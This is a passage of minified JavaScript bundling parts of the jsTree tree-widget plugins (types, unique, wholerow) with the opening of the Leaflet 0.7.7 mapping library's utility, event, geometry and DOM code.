"+f[e[u]].li_attr["class"])}if(s[o].a_attr!==t&&"object"==typeof s[o].a_attr)for(h in s[o].a_attr)if(s[o].a_attr.hasOwnProperty(h)){if("id"===h)continue;f[e[u]].a_attr[h]===t?f[e[u]].a_attr[h]=s[o].a_attr[h]:"href"===h&&"#"===f[e[u]].a_attr[h]?f[e[u]].a_attr.href=s[o].a_attr.href:"class"===h&&(f[e[u]].a_attr["class"]=s[o].a_attr["class"]+" "+f[e[u]].a_attr["class"])}}f[n.jstree.root].type=n.jstree.root},this));r.bind.call(this)};this.get_json=function(t,i,u){var e,s,o=this._model.data,h=i?n.extend(!0,{},i,{no_id:!1}):{},f=r.get_json.call(this,t,h,u);if(f===!1)return!1;if(n.isArray(f))for(e=0,s=f.length;s>e;e++)f[e].type=f[e].id&&o[f[e].id]&&o[f[e].id].type?o[f[e].id].type:"default",i&&i.no_id&&(delete f[e].id,f[e].li_attr&&f[e].li_attr.id&&delete f[e].li_attr.id,f[e].a_attr&&f[e].a_attr.id&&delete f[e].a_attr.id);else f.type=f.id&&o[f.id]&&o[f.id].type?o[f.id].type:"default",i&&i.no_id&&(f=this._delete_ids(f));return f};this._delete_ids=function(t){if(n.isArray(t)){for(var i=0,r=t.length;r>i;i++)t[i]=this._delete_ids(t[i]);return t}return delete t.id,t.li_attr&&t.li_attr.id&&delete t.li_attr.id,t.a_attr&&t.a_attr.id&&delete t.a_attr.id,t.children&&n.isArray(t.children)&&(t.children=this._delete_ids(t.children)),t};this.check=function(i,u,f,e,o){if(r.check.call(this,i,u,f,e,o)===!1)return!1;u=u&&u.id?u:this.get_node(u);f=f&&f.id?f:this.get_node(f);var c=u&&u.id?o&&o.origin?o.origin:n.jstree.reference(u.id):null,s,h,l,a;switch(c=c&&c._model&&c._model.data?c._model.data:null,i){case"create_node":case"move_node":case"copy_node":if("move_node"!==i||-1===n.inArray(u.id,f.children)){if(s=this.get_rules(f),s.max_children!==t&&-1!==s.max_children&&s.max_children===f.children.length)return this._data.core.last_error={error:"check",plugin:"types",id:"types_01",reason:"max_children prevents function: "+i,data:JSON.stringify({chk:i,pos:e,obj:u&&u.id?u.id:!1,par:f&&f.id?f.id:!1})},!1;if(s.valid_children!==t&&-1!==s.valid_children&&-1===n.inArray(u.type||"default",s.valid_children))return this._data.core.last_error={error:"check",plugin:"types",id:"types_02",reason:"valid_children prevents function: "+i,data:JSON.stringify({chk:i,pos:e,obj:u&&u.id?u.id:!1,par:f&&f.id?f.id:!1})},!1;if(c&&u.children_d&&u.parents){for(h=0,l=0,a=u.children_d.length;a>l;l++)h=Math.max(h,c[u.children_d[l]].parents.length);h=h-u.parents.length+1}(0>=h||h===t)&&(h=1);do{if(s.max_depth!==t&&-1!==s.max_depth&&s.max_depth<h)return this._data.core.last_error={error:"check",plugin:"types",id:"types_03",reason:"max_depth prevents function: "+i,data:JSON.stringify({chk:i,pos:e,obj:u&&u.id?u.id:!1,par:f&&f.id?f.id:!1})},!1;f=this.get_node(f.parent);s=this.get_rules(f);h++}while(f)}}return!0};this.get_rules=function(n){if(n=this.get_node(n),!n)return!1;var i=this.get_type(n,!0);return i.max_depth===t&&(i.max_depth=-1),i.max_children===t&&(i.max_children=-1),i.valid_children===t&&(i.valid_children=-1),i};this.get_type=function(t,i){return t=this.get_node(t),t?i?n.extend({type:t.type},this.settings.types[t.type]):t.type:!1};this.set_type=function(i,r){var o=this._model.data,f,c,a,e,l,u,h,s;if(n.isArray(i)){for(i=i.slice(),c=0,a=i.length;a>c;c++)this.set_type(i[c],r);return!0}if(f=this.settings.types,i=this.get_node(i),!f[r]||!i)return!1;if(h=this.get_node(i,!0),h&&h.length&&(s=h.children(".jstree-anchor")),e=i.type,l=this.get_icon(i),i.type=r,(l===!0||!f[e]||f[e].icon!==t&&l===f[e].icon)&&this.set_icon(i,f[r].icon!==t?f[r].icon:!0),f[e]&&f[e].li_attr!==t&&"object"==typeof f[e].li_attr)for(u in f[e].li_attr)if(f[e].li_attr.hasOwnProperty(u)){if("id"===u)continue;"class"===u?(o[i.id].li_attr["class"]=(o[i.id].li_attr["class"]||"").replace(f[e].li_attr[u],""),h&&h.removeClass(f[e].li_attr[u])):o[i.id].li_attr[u]===f[e].li_attr[u]&&(o[i.id].li_attr[u]=null,h&&h.removeAttr(u))}if(f[e]&&f[e].a_attr!==t&&"object"==typeof f[e].a_attr)for(u in f[e].a_attr)if(f[e].a_attr.hasOwnProperty(u)){if("id"===u)continue;"class"===u?(o[i.id].a_attr["class"]=(o[i.id].a_attr["class"]||"").replace(f[e].a_attr[u],""),s&&s.removeClass(f[e].a_attr[u])):o[i.id].a_attr[u]===f[e].a_attr[u]&&("href"===u?(o[i.id].a_attr[u]="#",s&&s.attr("href","#")):(delete o[i.id].a_attr[u],s&&s.removeAttr(u)))}if(f[r].li_attr!==t&&"object"==typeof f[r].li_attr)for(u in f[r].li_attr)if(f[r].li_attr.hasOwnProperty(u)){if("id"===u)continue;o[i.id].li_attr[u]===t?(o[i.id].li_attr[u]=f[r].li_attr[u],h&&("class"===u?h.addClass(f[r].li_attr[u]):h.attr(u,f[r].li_attr[u]))):"class"===u&&(o[i.id].li_attr["class"]=f[r].li_attr[u]+" "+o[i.id].li_attr["class"],h&&h.addClass(f[r].li_attr[u]))}if(f[r].a_attr!==t&&"object"==typeof f[r].a_attr)for(u in f[r].a_attr)if(f[r].a_attr.hasOwnProperty(u)){if("id"===u)continue;o[i.id].a_attr[u]===t?(o[i.id].a_attr[u]=f[r].a_attr[u],s&&("class"===u?s.addClass(f[r].a_attr[u]):s.attr(u,f[r].a_attr[u]))):"href"===u&&"#"===o[i.id].a_attr[u]?(o[i.id].a_attr.href=f[r].a_attr.href,s&&s.attr("href",f[r].a_attr.href)):"class"===u&&(o[i.id].a_attr["class"]=f[r].a_attr["class"]+" "+o[i.id].a_attr["class"],s&&s.addClass(f[r].a_attr[u]))}return!0}},n.jstree.defaults.unique={case_sensitive:!1,trim_whitespace:!1,duplicate:function(n,t){return n+" ("+t+")"}},n.jstree.plugins.unique=function(i,r){this.check=function(t,i,u,f,e){if(r.check.call(this,t,i,u,f,e)===!1)return!1;if(i=i&&i.id?i:this.get_node(i),u=u&&u.id?u:this.get_node(u),!u||!u.children)return!0;for(var s="rename_node"===t?f:i.text,c=[],l=this.settings.unique.case_sensitive,a=this.settings.unique.trim_whitespace,y=this._model.data,h,o=0,v=u.children.length;v>o;o++)h=y[u.children[o]].text,l||(h=h.toLowerCase()),a&&(h=h.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")),c.push(h);switch(l||(s=s.toLowerCase()),a&&(s=s.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")),t){case"delete_node":return!0;case"rename_node":return h=i.text||"",l||(h=h.toLowerCase()),a&&(h=h.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")),o=-1===n.inArray(s,c)||i.text&&h===s,o||(this._data.core.last_error={error:"check",plugin:"unique",id:"unique_01",reason:"Child with name "+s+" already exists. Preventing: "+t,data:JSON.stringify({chk:t,pos:f,obj:i&&i.id?i.id:!1,par:u&&u.id?u.id:!1})}),o;case"create_node":return o=-1===n.inArray(s,c),o||(this._data.core.last_error={error:"check",plugin:"unique",id:"unique_04",reason:"Child with name "+s+" already exists. Preventing: "+t,data:JSON.stringify({chk:t,pos:f,obj:i&&i.id?i.id:!1,par:u&&u.id?u.id:!1})}),o;case"copy_node":return o=-1===n.inArray(s,c),o||(this._data.core.last_error={error:"check",plugin:"unique",id:"unique_02",reason:"Child with name "+s+" already exists. Preventing: "+t,data:JSON.stringify({chk:t,pos:f,obj:i&&i.id?i.id:!1,par:u&&u.id?u.id:!1})}),o;case"move_node":return o=i.parent===u.id&&(!e||!e.is_multi)||-1===n.inArray(s,c),o||(this._data.core.last_error={error:"check",plugin:"unique",id:"unique_03",reason:"Child with name "+s+" already exists. Preventing: "+t,data:JSON.stringify({chk:t,pos:f,obj:i&&i.id?i.id:!1,par:u&&u.id?u.id:!1})}),o}return!0};this.create_node=function(i,u,f,e,o){if(!u||u.text===t){if((null===i&&(i=n.jstree.root),i=this.get_node(i),!i)||(f=f===t?"last":f,!f.toString().match(/^(before|after)$/)&&!o&&!this.is_loaded(i)))return r.create_node.call(this,i,u,f,e,o);u||(u={});var y,c,l,h,p,w=this._model.data,a=this.settings.unique.case_sensitive,v=this.settings.unique.trim_whitespace,b=this.settings.unique.duplicate,s;for(c=y=this.get_string("New node"),l=[],h=0,p=i.children.length;p>h;h++)s=w[i.children[h]].text,a||(s=s.toLowerCase()),v&&(s=s.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")),l.push(s);for(h=1,s=c,a||(s=s.toLowerCase()),v&&(s=s.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,""));-1!==n.inArray(s,l);)c=b.call(this,y,++h).toString(),s=c,a||(s=s.toLowerCase()),v&&(s=s.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,""));u.text=c}return r.create_node.call(this,i,u,f,e,o)}},s=i.createElement("DIV"),s.setAttribute("unselectable","on"),s.setAttribute("role","presentation"),s.className="jstree-wholerow",s.innerHTML="&#160;",n.jstree.plugins.wholerow=function(t,i){this.bind=function(){i.bind.call(this);this.element.on("ready.jstree set_state.jstree",n.proxy(function(){this.hide_dots()},this)).on("init.jstree loading.jstree ready.jstree",n.proxy(function(){this.get_container_ul().addClass("jstree-wholerow-ul")},this)).on("deselect_all.jstree",n.proxy(function(){this.element.find(".jstree-wholerow-clicked").removeClass("jstree-wholerow-clicked")},this)).on("changed.jstree",n.proxy(function(n,t){this.element.find(".jstree-wholerow-clicked").removeClass("jstree-wholerow-clicked");for(var i=!1,r=0,u=t.selected.length;u>r;r++)i=this.get_node(t.selected[r],!0),i&&i.length&&i.children(".jstree-wholerow").addClass("jstree-wholerow-clicked")},this)).on("open_node.jstree",n.proxy(function(n,t){this.get_node(t.node,!0).find(".jstree-clicked").parent().children(".jstree-wholerow").addClass("jstree-wholerow-clicked")},this)).on("hover_node.jstree dehover_node.jstree",n.proxy(function(n,t){"hover_node"===n.type&&this.is_disabled(t.node)||this.get_node(t.node,!0).children(".jstree-wholerow")["hover_node"===n.type?"addClass":"removeClass"]("jstree-wholerow-hovered")},this)).on("contextmenu.jstree",".jstree-wholerow",n.proxy(function(t){if(this._data.contextmenu){t.preventDefault();var i=n.Event("contextmenu",{metaKey:t.metaKey,ctrlKey:t.ctrlKey,altKey:t.altKey,shiftKey:t.shiftKey,pageX:t.pageX,pageY:t.pageY});n(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(i)}},this)).on("click.jstree",".jstree-wholerow",function(t){t.stopImmediatePropagation();var i=n.Event("click",{metaKey:t.metaKey,ctrlKey:t.ctrlKey,altKey:t.altKey,shiftKey:t.shiftKey});n(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(i).focus()}).on("dblclick.jstree",".jstree-wholerow",function(t){t.stopImmediatePropagation();var i=n.Event("dblclick",{metaKey:t.metaKey,ctrlKey:t.ctrlKey,altKey:t.altKey,shiftKey:t.shiftKey});n(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(i).focus()}).on("click.jstree",".jstree-leaf > .jstree-ocl",n.proxy(function(t){t.stopImmediatePropagation();var i=n.Event("click",{metaKey:t.metaKey,ctrlKey:t.ctrlKey,altKey:t.altKey,shiftKey:t.shiftKey});n(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(i).focus()},this)).on("mouseover.jstree",".jstree-wholerow, .jstree-icon",n.proxy(function(n){return n.stopImmediatePropagation(),this.is_disabled(n.currentTarget)||this.hover_node(n.currentTarget),!1},this)).on("mouseleave.jstree",".jstree-node",n.proxy(function(n){this.dehover_node(n.currentTarget)},this))};this.teardown=function(){this.settings.wholerow&&this.element.find(".jstree-wholerow").remove();i.teardown.call(this)};this.redraw_node=function(t){if(t=i.redraw_node.apply(this,arguments)){var r=s.cloneNode(!0);-1!==n.inArray(t.id,this._data.core.selected)&&(r.className+=" jstree-wholerow-clicked");this._data.core.focused&&this._data.core.focused===t.id&&(r.className+=" jstree-wholerow-hovered");t.insertBefore(r,t.childNodes[0])}return t}},window.customElements&&Object&&Object.create){a=Object.create(HTMLElement.prototype);a.createdCallback=function(){var i={core:{},plugins:[]};for(var t in n.jstree.plugins)n.jstree.plugins.hasOwnProperty(t)&&this.attributes[t]&&(i.plugins.push(t),this.getAttribute(t)&&JSON.parse(this.getAttribute(t))&&(i[t]=JSON.parse(this.getAttribute(t))));for(t in n.jstree.defaults.core)n.jstree.defaults.core.hasOwnProperty(t)&&this.attributes[t]&&(i.core[t]=JSON.parse(this.getAttribute(t))||this.getAttribute(t));n(this).jstree(i)};try{window.customElements.define("vakata-jstree",function(){},{prototype:a})}catch(p){}}}});!function(n,t,i){var e=n.L,r={},u,f;r.version="0.7.7";"object"==typeof module&&"object"==typeof module.exports?module.exports=r:"function"==typeof define&&define.amd&&define(r);r.noConflict=function(){return n.L=e,this};n.L=r;r.Util={extend:function(n){for(var t,r,f=Array.prototype.slice.call(arguments,1),i=0,u=f.length;u>i;i++){r=f[i]||{};for(t in r)r.hasOwnProperty(t)&&(n[t]=r[t])}return n},bind:function(n,t){var i=arguments.length>2?Array.prototype.slice.call(arguments,2):null;return function(){return n.apply(t,i||arguments)}},stamp:function(){var t=0,n="_leaflet_id";return function(i){return i[n]=i[n]||++t,i[n]}}(),invokeEach:function(n,t,i){var r,u;if("object"==typeof n){u=Array.prototype.slice.call(arguments,3);for(r in n)t.apply(i,[r,n[r]].concat(u));return!0}return!1},limitExecByInterval:function(n,t,i){var r,u;return function f(){var e=arguments;return r?void(u=!0):(r=!0,setTimeout(function(){r=!1;u&&(f.apply(i,e),u=!1)},t),void n.apply(i,e))}},falseFn:function(){return!1},formatNum:function(n,t){var i=Math.pow(10,t||5);return Math.round(n*i)/i},trim:function(n){return n.trim?n.trim():n.replace(/^\s+|\s+$/g,"")},splitWords:function(n){return r.Util.trim(n).split(/\s+/)},setOptions:function(n,t){return n.options=r.extend({},n.options,t),n.options},getParamString:function(n,t,i){var u=[];for(var r in n)u.push(encodeURIComponent(i?r.toUpperCase():r)+"="+encodeURIComponent(n[r]));return(t&&-1!==t.indexOf("?")?"&":"?")+u.join("&")},template:function(n,t){return n.replace(/\{ *([\w_]+) *\}/g,function(n,r){var u=t[r];if(u===i)throw new Error("No value provided for variable "+n);return"function"==typeof u&&(u=u(t)),u})},isArray:Array.isArray||function(n){return"[object Array]"===Object.prototype.toString.call(n)},emptyImageUrl:"data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs="},function(){function t(t){for(var r,u=["webkit","moz","o","ms"],i=0;i<u.length&&!r;i++)r=n[u[i]+t];return r}function i(t){var i=+new Date,r=Math.max(0,16-(i-u));return u=i+r,n.setTimeout(t,r)}var u=0,f=n.requestAnimationFrame||t("RequestAnimationFrame")||i,e=n.cancelAnimationFrame||t("CancelAnimationFrame")||t("CancelRequestAnimationFrame")||function(t){n.clearTimeout(t)};r.Util.requestAnimFrame=function(t,u,e,o){return t=r.bind(t,u),e&&f===i?void t():f.call(n,t,o)};r.Util.cancelAnimFrame=function(t){t&&e.call(n,t)}}();r.extend=r.Util.extend;r.bind=r.Util.bind;r.stamp=r.Util.stamp;r.setOptions=r.Util.setOptions;r.Class=function(){};r.Class.extend=function(n){var i=function(){this.initialize&&this.initialize.apply(this,arguments);this._initHooks&&this.callInitHooks()},e=function(){},t,u,f;e.prototype=this.prototype;t=new e;t.constructor=i;i.prototype=t;for(u in this)this.hasOwnProperty(u)&&"prototype"!==u&&(i[u]=this[u]);return n.statics&&(r.extend(i,n.statics),delete n.statics),n.includes&&(r.Util.extend.apply(null,[t].concat(n.includes)),delete n.includes),n.options&&t.options&&(n.options=r.extend({},t.options,n.options)),r.extend(t,n),t._initHooks=[],f=this,i.__super__=f.prototype,t.callInitHooks=function(){if(!this._initHooksCalled){f.prototype.callInitHooks&&f.prototype.callInitHooks.call(this);this._initHooksCalled=!0;for(var n=0,i=t._initHooks.length;i>n;n++)t._initHooks[n].call(this)}},i};r.Class.include=function(n){r.extend(this.prototype,n)};r.Class.mergeOptions=function(n){r.extend(this.prototype.options,n)};r.Class.addInitHook=function(n){var t=Array.prototype.slice.call(arguments,1),i="function"==typeof n?n:function(){this[n].apply(this,t)};this.prototype._initHooks=this.prototype._initHooks||[];this.prototype._initHooks.push(i)};u="_leaflet_events";r.Mixin={};r.Mixin.Events={addEventListener:function(n,t,i){if(r.Util.invokeEach(n,this.addEventListener,this,t,i))return this;var o,v,l,e,s,a,h,f=this[u]=this[u]||{},c=i&&i!==this&&r.stamp(i);for(n=r.Util.splitWords(n),o=0,v=n.length;v>o;o++)l={action:t,context:i||this},e=n[o],c?(s=e+"_idx",a=s+"_len",h=f[s]=f[s]||{},h[c]||(h[c]=[],f[a]=(f[a]||0)+1),h[c].push(l)):(f[e]=f[e]||[],f[e].push(l));return this},hasEventListeners:function(n){var t=this[u];return!!t&&(n in t&&t[n].length>0||n+"_idx"in t&&t[n+"_idx_len"]>0)},removeEventListener:function(n,t,i){if(!this[u])return this;if(!n)return this.clearAllEventListeners();if(r.Util.invokeEach(n,this.removeEventListener,this,t,i))return this;var h,y,c,f,e,l,a,s,p,o=this[u],v=i&&i!==this&&r.stamp(i);for(n=r.Util.splitWords(n),h=0,y=n.length;y>h;h++)if(c=n[h],l=c+"_idx",a=l+"_len",s=o[l],t){if(f=v&&s?s[v]:o[c]){for(e=f.length-1;e>=0;e--)f[e].action!==t||i&&f[e].context!==i||(p=f.splice(e,1),p[0].action=r.Util.falseFn);i&&s&&0===f.length&&(delete s[v],o[a]--)}}else delete o[c],delete o[l],delete o[a];return this},clearAllEventListeners:function(){return delete this[u],this},fireEvent:function(n,t){if(!this.hasEventListeners(n))return this;var f,i,e,o,h,c=r.Util.extend({},t,{type:n,target:this}),s=this[u];if(s[n])for(f=s[n].slice(),i=0,e=f.length;e>i;i++)f[i].action.call(f[i].context,c);o=s[n+"_idx"];for(h in o)if(f=o[h].slice())for(i=0,e=f.length;e>i;i++)f[i].action.call(f[i].context,c);return this},addOneTimeEventListener:function(n,t,i){if(r.Util.invokeEach(n,this.addOneTimeEventListener,this,t,i))return this;var u=r.bind(function(){this.removeEventListener(n,t,i).removeEventListener(n,u,i)},this);return this.addEventListener(n,t,i).addEventListener(n,u,i)}};r.Mixin.Events.on=r.Mixin.Events.addEventListener;r.Mixin.Events.off=r.Mixin.Events.removeEventListener;r.Mixin.Events.once=r.Mixin.Events.addOneTimeEventListener;r.Mixin.Events.fire=r.Mixin.Events.fireEvent,function(){var f="ActiveXObject"in n,b=f&&!t.addEventListener,u=navigator.userAgent.toLowerCase(),o=-1!==u.indexOf("webkit"),k=-1!==u.indexOf("chrome"),c=-1!==u.indexOf("phantom"),d=-1!==u.indexOf("android"),l=-1!==u.search("android [23]"),g=-1!==u.indexOf("gecko"),e=typeof orientation!=i+"",a=!n.PointerEvent&&n.MSPointerEvent,v=n.PointerEvent&&n.navigator.pointerEnabled||a,nt="devicePixelRatio"in n&&n.devicePixelRatio>1||"matchMedia"in n&&n.matchMedia("(min-resolution:144dpi)")&&n.matchMedia("(min-resolution:144dpi)").matches,s=t.documentElement,y=f&&"transition"in s.style,h="WebKitCSSMatrix"in n&&"m11"in new n.WebKitCSSMatrix&&!l,p="MozPerspective"in s.style,w="OTransition"in s.style,tt=!n.L_DISABLE_3D&&(y||h||p||w)&&!c,it=!n.L_NO_TOUCH&&!c&&(v||"ontouchstart"in n||n.DocumentTouch&&t instanceof n.DocumentTouch);r.Browser={ie:f,ielt9:b,webkit:o,gecko:g&&!o&&!n.opera&&!f,android:d,android23:l,chrome:k,ie3d:y,webkit3d:h,gecko3d:p,opera3d:w,any3d:tt,mobile:e,mobileWebkit:e&&o,mobileWebkit3d:e&&h,mobileOpera:e&&n.opera,touch:it,msPointer:a,pointer:v,retina:nt}}();r.Point=function(n,t,i){this.x=i?Math.round(n):n;this.y=i?Math.round(t):t};r.Point.prototype={clone:function(){return new r.Point(this.x,this.y)},add:function(n){return this.clone()._add(r.point(n))},_add:function(n){return this.x+=n.x,this.y+=n.y,this},subtract:function(n){return this.clone()._subtract(r.point(n))},_subtract:function(n){return this.x-=n.x,this.y-=n.y,this},divideBy:function(n){return this.clone()._divideBy(n)},_divideBy:function(n){return this.x/=n,this.y/=n,this},multiplyBy:function(n){return this.clone()._multiplyBy(n)},_multiplyBy:function(n){return this.x*=n,this.y*=n,this},round:function(){return this.clone()._round()},_round:function(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this},floor:function(){return this.clone()._floor()},_floor:function(){return this.x=Math.floor(this.x),this.y=Math.floor(this.y),this},distanceTo:function(n){n=r.point(n);var t=n.x-this.x,i=n.y-this.y;return Math.sqrt(t*t+i*i)},equals:function(n){return n=r.point(n),n.x===this.x&&n.y===this.y},contains:function(n){return n=r.point(n),Math.abs(n.x)<=Math.abs(this.x)&&Math.abs(n.y)<=Math.abs(this.y)},toString:function(){return"Point("+r.Util.formatNum(this.x)+", "+r.Util.formatNum(this.y)+")"}};r.point=function(n,t,u){return n instanceof r.Point?n:r.Util.isArray(n)?new r.Point(n[0],n[1]):n===i||null===n?n:new r.Point(n,t,u)};r.Bounds=function(n,t){if(n)for(var r=t?[n,t]:n,i=0,u=r.length;u>i;i++)this.extend(r[i])};r.Bounds.prototype={extend:function(n){return n=r.point(n),this.min||this.max?(this.min.x=Math.min(n.x,this.min.x),this.max.x=Math.max(n.x,this.max.x),this.min.y=Math.min(n.y,this.min.y),this.max.y=Math.max(n.y,this.max.y)):(this.min=n.clone(),this.max=n.clone()),this},getCenter:function(n){return new r.Point((this.min.x+this.max.x)/2,(this.min.y+this.max.y)/2,n)},getBottomLeft:function(){return new r.Point(this.min.x,this.max.y)},getTopRight:function(){return new r.Point(this.max.x,this.min.y)},getSize:function(){return this.max.subtract(this.min)},contains:function(n){var t,i;return n="number"==typeof n[0]||n instanceof r.Point?r.point(n):r.bounds(n),n instanceof r.Bounds?(t=n.min,i=n.max):t=i=n,t.x>=this.min.x&&i.x<=this.max.x&&t.y>=this.min.y&&i.y<=this.max.y},intersects:function(n){n=r.bounds(n);var t=this.min,i=this.max,u=n.min,f=n.max,e=f.x>=t.x&&u.x<=i.x,o=f.y>=t.y&&u.y<=i.y;return e&&o},isValid:function(){return!(!this.min||!this.max)}};r.bounds=function(n,t){return!n||n instanceof r.Bounds?n:new r.Bounds(n,t)};r.Transformation=function(n,t,i,r){this._a=n;this._b=t;this._c=i;this._d=r};r.Transformation.prototype={transform:function(n,t){return this._transform(n.clone(),t)},_transform:function(n,t){return t=t||1,n.x=t*(this._a*n.x+this._b),n.y=t*(this._c*n.y+this._d),n},untransform:function(n,t){return t=t||1,new r.Point((n.x/t-this._b)/this._a,(n.y/t-this._d)/this._c)}};r.DomUtil={get:function(n){return"string"==typeof n?t.getElementById(n):n},getStyle:function(n,i){var r=n.style[i],u;return(!r&&n.currentStyle&&(r=n.currentStyle[i]),(!r||"auto"===r)&&t.defaultView)&&(u=t.defaultView.getComputedStyle(n,null),r=u?u[i]:null),"auto"===r?null:r},getViewportOffset:function(n){var o,u=0,f=0,i=n,e=t.body,s=t.documentElement;do{if(u+=i.offsetTop||0,f+=i.offsetLeft||0,u+=parseInt(r.DomUtil.getStyle(i,"borderTopWidth"),10)||0,f+=parseInt(r.DomUtil.getStyle(i,"borderLeftWidth"),10)||0,o=r.DomUtil.getStyle(i,"position"),i.offsetParent===e&&"absolute"===o)break;if("fixed"===o){u+=e.scrollTop||s.scrollTop||0;f+=e.scrollLeft||s.scrollLeft||0;break}if("relative"===o&&!i.offsetLeft){var c=r.DomUtil.getStyle(i,"width"),l=r.DomUtil.getStyle(i,"max-width"),h=i.getBoundingClientRect();("none"!==c||"none"!==l)&&(f+=h.left+i.clientLeft);u+=h.top+(e.scrollTop||s.scrollTop||0);break}i=i.offsetParent}while(i);i=n;do{if(i===e)break;u-=i.scrollTop||0;f-=i.scrollLeft||0;i=i.parentNode}while(i);return new r.Point(f,u)},documentIsLtr:function(){return r.DomUtil._docIsLtrCached||(r.DomUtil._docIsLtrCached=!0,r.DomUtil._docIsLtr="ltr"===r.DomUtil.getStyle(t.body,"direction")),r.DomUtil._docIsLtr},create:function(n,i,r){var u=t.createElement(n);return u.className=i,r&&r.appendChild(u),u},hasClass:function(n,t){if(n.classList!==i)return n.classList.contains(t);var u=r.DomUtil._getClass(n);return u.length>0&&new RegExp("(^|\\s)"+t+"(\\s|$)").test(u)},addClass:function(n,t){var f;if(n.classList!==i)for(var e=r.Util.splitWords(t),u=0,o=e.length;o>u;u++)n.classList.add(e[u]);else r.DomUtil.hasClass(n,t)||(f=r.DomUtil._getClass(n),r.DomUtil._setClass(n,(f?f+" ":"")+t))},removeClass:function(n,t){n.classList!==i?n.classList.remove(t):r.DomUtil._setClass(n,r.Util.trim((" "+r.DomUtil._getClass(n)+" ").replace(" "+t+" "," ")))},_setClass:function(n,t){n.className.baseVal===i?n.className=t:n.className.baseVal=t},_getClass:function(n){return n.className.baseVal===i?n.className:n.className.baseVal},setOpacity:function(n,t){if("opacity"in n.style)n.style.opacity=t;else if("filter"in n.style){var i=!1,r="DXImageTransform.Microsoft.Alpha";try{i=n.filters.item(r)}catch(u){if(1===t)return}t=Math.round(100*t);i?(i.Enabled=100!==t,i.Opacity=t):n.style.filter+=" progid:"+r+"(opacity="+t+")"}},testProp:function(n){for(var r=t.documentElement.style,i=0;i<n.length;i++)if(n[i]in r)return n[i];return!1},getTranslateString:function(n){var t=r.Browser.webkit3d,i="translate"+(t?"3d":"")+"(",u=(t?",0":"")+")";return i+n.x+"px,"+n.y+"px"+u},getScaleString:function(n,t){var i=r.DomUtil.getTranslateString(t.add(t.multiplyBy(-1*n))),u=" scale("+n+") ";return i+u},setPosition:function(n,t,i){n._leaflet_pos=t;!i&&r.Browser.any3d?n.style[r.DomUtil.TRANSFORM]=r.DomUtil.getTranslateString(t):(n.style.left=t.x+"px",n.style.top=t.y+"px")},getPosition:function(n){return n._leaflet_pos}};r.DomUtil.TRANSFORM=r.DomUtil.testProp(["transform","WebkitTransform","OTransform","MozTransform","msTransform"]);r.DomUtil.TRANSITION=r.DomUtil.testProp(["webkitTransition","transition","OTransition","MozTransition","msTransition"]);r.DomUtil.TRANSITION_END="webkitTransition"===r.DomUtil.TRANSITION||"OTransition"===r.DomUtil.TRANSITION?r.DomUtil.TRANSITION+"End":"transitionend",function(){if("onselectstart"in t)r.extend(r.DomUtil,{disableTextSelection:function(){r.DomEvent.on(n,"selectstart",r.DomEvent.preventDefault)},enableTextSelection:function(){r.DomEvent.off(n,"selectstart",r.DomEvent.preventDefault)}});else{var i=r.DomUtil.testProp(["userSelect","WebkitUserSelect","OUserSelect","MozUserSelect","msUserSelect"]);r.extend(r.DomUtil,{disableTextSelection:function(){if(i){var n=t.documentElement.style;this._userSelect=n[i];n[i]="none"}},enableTextSelection:function(){i&&(t.documentElement.style[i]=this._userSelect,delete this._userSelect)}})}r.extend(r.DomUtil,{disableImageDrag:function(){r.DomEvent.on(n,"dragstart",r.DomEvent.preventDefault)},enableImageDrag:function(){r.DomEvent.off(n,"dragstart",r.DomEvent.preventDefault)}})}();r.LatLng=function(n,t,r){if(n=parseFloat(n),t=parseFloat(t),isNaN(n)||isNaN(t))throw new Error("Invalid LatLng object: ("+n+", "+t+")");this.lat=n;this.lng=t;r!==i&&(this.alt=parseFloat(r))};r.extend(r.LatLng,{DEG_TO_RAD:Math.PI/180,RAD_TO_DEG:180/Math.PI,MAX_MARGIN:1e-9});r.LatLng.prototype={equals:function(n){if(!n)return!1;n=r.latLng(n);var t=Math.max(Math.abs(this.lat-n.lat),Math.abs(this.lng-n.lng));return t<=r.LatLng.MAX_MARGIN},toString:function(n){return"LatLng("+r.Util.formatNum(this.lat,n)+", "+r.Util.formatNum(this.lng,n)+")"},distanceTo:function(n){n=r.latLng(n);var t=r.LatLng.DEG_TO_RAD,e=(n.lat-this.lat)*t,o=(n.lng-this.lng)*t,s=this.lat*t,h=n.lat*t,i=Math.sin(e/2),u=Math.sin(o/2),f=i*i+u*u*Math.cos(s)*Math.cos(h);return 12756274*Math.atan2(Math.sqrt(f),Math.sqrt(1-f))},wrap:function(n,t){var i=this.lng;return n=n||-180,t=t||180,i=(i+t)%(t-n)+(n>i||i===t?t:n),new r.LatLng(this.lat,i)}};r.latLng=function(n,t){return n instanceof r.LatLng?n:r.Util.isArray(n)?"number"==typeof n[0]||"string"==typeof n[0]?new r.LatLng(n[0],n[1],n[2]):null:n===i||null===n?n:"object"==typeof n&&"lat"in n?new r.LatLng(n.lat,"lng"in n?n.lng:n.lon):t===i?null:new r.LatLng(n,t)};r.LatLngBounds=function(n,t){if(n)for(var r=t?[n,t]:n,i=0,u=r.length;u>i;i++)this.extend(r[i])};r.LatLngBounds.prototype={extend:function(n){if(!n)return this;var t=r.latLng(n);return n=null!==t?t:r.latLngBounds(n),n instanceof r.LatLng?this._southWest||this._northEast?(this._southWest.lat=Math.min(n.lat,this._southWest.lat),this._southWest.lng=Math.min(n.lng,this._southWest.lng),this._northEast.lat=Math.max(n.lat,this._northEast.lat),this._northEast.lng=Math.max(n.lng,this._northEast.lng)):(this._southWest=new r.LatLng(n.lat,n.lng),this._northEast=new r.LatLng(n.lat,n.lng)):n instanceof r.LatLngBounds&&(this.extend(n._southWest),this.extend(n._northEast)),this},pad:function(n){var 